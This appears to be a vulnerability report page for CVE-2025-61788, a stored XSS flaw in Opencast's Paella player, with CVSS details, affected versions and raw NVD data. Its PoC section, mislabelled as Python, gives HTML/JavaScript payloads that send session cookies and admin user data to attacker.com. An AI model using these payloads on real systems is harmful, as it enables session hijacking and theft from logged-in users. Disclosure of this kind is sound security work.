Security Vulnerability Report
中文
CVE-2025-61788 CVSS 5.4 MEDIUM

CVE-2025-61788

Published: 2025-10-08 18:15:35
Last Modified: 2025-10-09 16:00:05

Description

Opencast is a free, open-source platform to support the management of educational audio and video content. Prior to Opencast 17.8 and 18.2, the paella would include and render some user inputs (metadata like title, description, etc.) unfiltered and unmodified. The vulnerability allows attackers to inject and malicious HTML and JavaScript in the player, which would then be executed in the browsers of users watching the prepared media. This can then be used to modify the site or to execute actions in the name of logged-in users. To inject malicious metadata, an attacker needs write access to the system. For example, the ability to upload media and modify metadata. This cannot be exploited by unauthenticated users. This issue is fixed in Opencast 17.8 and 18.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apereo:opencast:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apereo:opencast:*:*:*:*:*:*:*:* - VULNERABLE
Opencast < 17.8
Opencast 17.x(17.8之前的所有版本)
Opencast 18.x(18.2之前的所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61788 - Opencast Paella Player Stored XSS PoC This PoC demonstrates how an attacker with write access can inject malicious HTML/JavaScript through media metadata fields. --> <!-- Step 1: Attacker uploads media with malicious metadata --> <!-- The following payload is injected into the media title field --> <script> // Steal session cookie and send to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); // Or perform actions on behalf of the victim // fetch('/admin/api/users', { credentials: 'include' }) // .then(r => r.json()) // .then(data => fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) })); </script> <!-- Alternative payload using img onerror for cookie theft --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Alternative payload using SVG for XSS --> <svg onload="new Image().src='https://attacker.com/x?'+document.cookie"> <!-- Step 2: When victim views the media in Paella player, the malicious script executes --> <!-- The payload gets rendered as part of the media metadata display -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61788", "sourceIdentifier": "[email protected]", "published": "2025-10-08T18:15:35.407", "lastModified": "2025-10-09T16:00:05.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Opencast is a free, open-source platform to support the management of educational audio and video content. Prior to Opencast 17.8 and 18.2, the paella would include and render some user inputs (metadata like title, description, etc.) unfiltered and unmodified. The vulnerability allows attackers to inject and malicious HTML and JavaScript in the player, which would then be executed in the browsers of users watching the prepared media. This can then be used to modify the site or to execute actions in the name of logged-in users. To inject malicious metadata, an attacker needs write access to the system. For example, the ability to upload media and modify metadata. This cannot be exploited by unauthenticated users. This issue is fixed in Opencast 17.8 and 18.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apereo:opencast:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.8", "matchCriteriaId": "4985831C-8FF6-4CC4-AFD9-1DCAD7888B5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apereo:opencast:*:*:*:*:*:*:*:*", "versionStartIncluding": "18.0", "versionEndExcluding": "18.2", "matchCriteriaId": "33B836FD-FD4C-4FC2-9844-EF0DF0D4EB0D"}]}]}], "references": [{"url": "https://github.com/opencast/opencast/commit/2809520fa88d108d8104c760f00c10bad42c14f9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opencast/opencast/security/advisories/GHSA-m2vg-rmq6-p62r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}